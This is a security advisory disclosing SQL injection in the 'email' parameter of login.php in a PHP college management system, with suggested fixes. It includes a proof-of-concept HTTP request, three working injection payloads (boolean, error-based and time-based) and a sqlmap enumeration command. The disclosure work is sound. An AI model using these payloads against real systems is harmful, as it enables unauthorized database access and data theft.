code-projects College Management System In PHP With Source Code v1.0 login.php SQL injection

[space-security]

code-projects College Management System In PHP With Source Code v1.0 login.php SQL injection

NAME OF AFFECTED PRODUCT(S)

• College Management System In PHP With Source Code

Vendor Homepage

• https://code-projects.org/college-management-system-in-php-with-source-code/

AFFECTED AND/OR FIXED VERSION(S)

submitter

• Liu Mingxuan, Zhang Teng, Li Peixuan, Zhao Yi, Yang Xin

institution

• the School of Cybersecurity, Northwestern Polytechnical University

Vulnerable File

• login.php

VERSION(S)

• V1.0

Software Link

• https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f

PROBLEM TYPE

Vulnerability Type

• SQL injection

Root Cause

• A SQL injection vulnerability was found in the 'login.php' file of the 'College Management System In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "email" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

• Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

• Due to insufficient user input validation for the "email" parameter, a serious SQL injection vulnerability was discovered in the login function of "College Management System In PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login verification required

Vulnerability details and POC

POST /login/login.php HTTP/1.1
Host: 192.168.1.138:1220
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://192.168.1.138:1220
Connection: close
Referer: http://192.168.1.138:1220/login/login.php
Priority: u=1

email=adminsd&password=123123123&btnlogin=LOGIN

Vulnerability type:

• time-based blind
• boolean-based blind
• error-based

Vulnerability location:

• 'email' parameter

Payload:

Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: email=-5218' OR 6752=6752#&password=123123123&btnlogin=LOGIN

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=adminsd' OR (SELECT 9355 FROM(SELECT COUNT(*),CONCAT(0x7178766b71,(SELECT (ELT(9355=9355,1))),0x7178707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Hvaq&password=123123123&btnlogin=LOGIN

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=adminsd' AND (SELECT 1090 FROM (SELECT(SLEEP(5)))NyEX)-- gisN&password=123123123&btnlogin=LOGIN

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -r 123 --batch --dbs

Suggested repair

1. Use prepared statements and parameter binding:
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. Regular security audits:
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.